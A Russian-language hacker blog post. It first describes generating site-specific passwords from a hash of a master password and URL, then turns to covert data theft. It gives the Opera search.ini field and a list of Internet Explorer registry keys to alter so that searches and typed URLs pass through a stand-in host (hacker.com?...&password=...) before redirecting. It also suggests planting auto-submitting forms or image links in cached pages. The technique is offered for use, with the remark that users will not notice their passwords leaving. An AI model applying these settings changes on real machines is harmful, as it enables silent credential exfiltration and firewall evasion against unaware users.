{ Hack trash #next } |
||
---|---|---|
Итак я продолжаю выкладывать всякую кому-то полезную фигню, а для кого-то просто трэш...
А ведь процесс хранения паролей можно убрать ;) Достаточно что бы генератор паролей генерировал одинаковые значения каждый раз... Странно ? Нет . Для реализации этой затеи воспользуемся хэш функцией. Маленький ликбез относительно хэш функций: Однонаправленая хэш функция, называемая H(M) применяется к прообразу сообщения произвольной длинны М и возвращает значение фиксированной длинны h (свертку).Ок, но какой толк от хэш функций ? - мы можем с их помощью генерировать пароли. Для этого нам нужно задаться какими-то значениями... Например это может быть пароль и урл. Таким образом пара (разный URL)-(один пароль) является уникальной и том что все знают урл нет никакой опасности. При этом вы можете генерировать пароли любой длинны (ограниченно только выходом хэш функции) отсутвующие в словарях.h = H(M), где h имеет длинну mВычислять значение фиксированной длинны по входным анным произвольной длины позволят многие функции, но однонаправленные хэш-функции обладают следующими дополнительными свойствами, делающими их настоящими однонаправленнми: Формула, которую для генерации поля использовал я: H ( H (password + url) + password)Например для значений:
На самом деле это мало вероятно - исходя хотя бы из того что в качестве пароля можно использовать не хэш а только 8-10 байт из него (не обязательно первые). Таки образом атакующему придётся дополнять хэш до нужно длинны всеми возможными вариантами.
Если я использую один пароль то как мне переодически его менять ? Ещё одна фишка - для преобразования хэша в печатный вид можно использовать что-то типа base64 (как я и сделал) - но при этом вы можете изменить алфавит (используемые символы) как угодно - и получать пароли из тех символов, которые вам нужны (например пароль только из русских или спец символов =) Таким образом мы свели процесс ханения и гереации паролей в одну кучу. Бонусом является использование вместо пароля - хэша файла. Это ещё более уобный вариант - не надо помнить ничего кроме пути к файлу 8) За подробностями смотим исходники - хотя они и на дельфи, но подобную фишку можно реализовать и кросс платформенно - например на JavaScript - тогда вы сможете(залив эту страничку на какой-нить халявный хостинг) сгенерировать нужны пароли в любой момент.
Среди всего многообразия есть один вечный способ, который будет работать всегда - перенастройка клиентских приложений. Сейчас очень многие программы сильно интегррованны с различными веб сервисами. Если мы сможем изенить настройки так, что эти приложения будут обращаться сначала на наш сервер, а только потом на настоящий - то мы сможем передать кусочек нужой нам информации... Наиболее простой пример - это браузеры. Наиболее тесно в них интегрированны функии поиска. Например в Опере за эти настройки отвечает файл search.ini, который храниться в профиле пользователя. Файл этот как часто бывает имеет понятный формат: [Search Engine 1]И произведя лёгкие манипуляции с полем URL мы получаем возможность обхода фаера, через поиск. Мы изменим URL например на hacker.com?%s&password=blablabla теперь когда пользователь захочет воспользоваться поиском через гугл он сначала перейдёт на hacker.com, а оттуда его можно прозрачно редиректить на гугл... скорее всего пользователь не заметит как уплыли его пароли.... Ключи реестра, для настройки IE: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main "Search Page" HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main "Start Page" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main "Default_Search_URL" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main "Search Bar" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main "Search Page" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main "Start Page" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search "(Default)" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search "CustomizeSearch" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search "SearchAssistant" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\SearchUrl "(Default)"Rроме того в IE есть возможность добавить префиксы ко всем запрашиваемым URL - те когда вы вводите microsoft.com - То можно добавить префикс hacker.com?password=blabla&url=microsoft.com и далее редирект по знакомому сценарию... За это отвечают ключи реестра: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\URL\DefaultPrefix "Default" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\URL\Prefixes "www"В конце концов, можно просто выполнить поиск по реестру в поисках ссылок (искать что-то типа http или www. или ключи update) и поиск по всем ini файлам в системе - большинство из них не имеют надёжной защиты и поэтому мы можем их без проблем редактировать. В конце концов так можно привязаться практически любой программе... Кроме того для браузеров непосредственно возможно изменение html кода страниц, сохранённых в кэше. Добавив в них форму (с автооправкой) или сслыку на картинку (<img>) мы можем надеяться что браузер рано или поздно запросит эту страницу из кэша. Советую пройтись по первым 3-м ссылкам для ознакомления с современным состоянием дел на паблик - материалов об обходе фаеров...
|
||
said |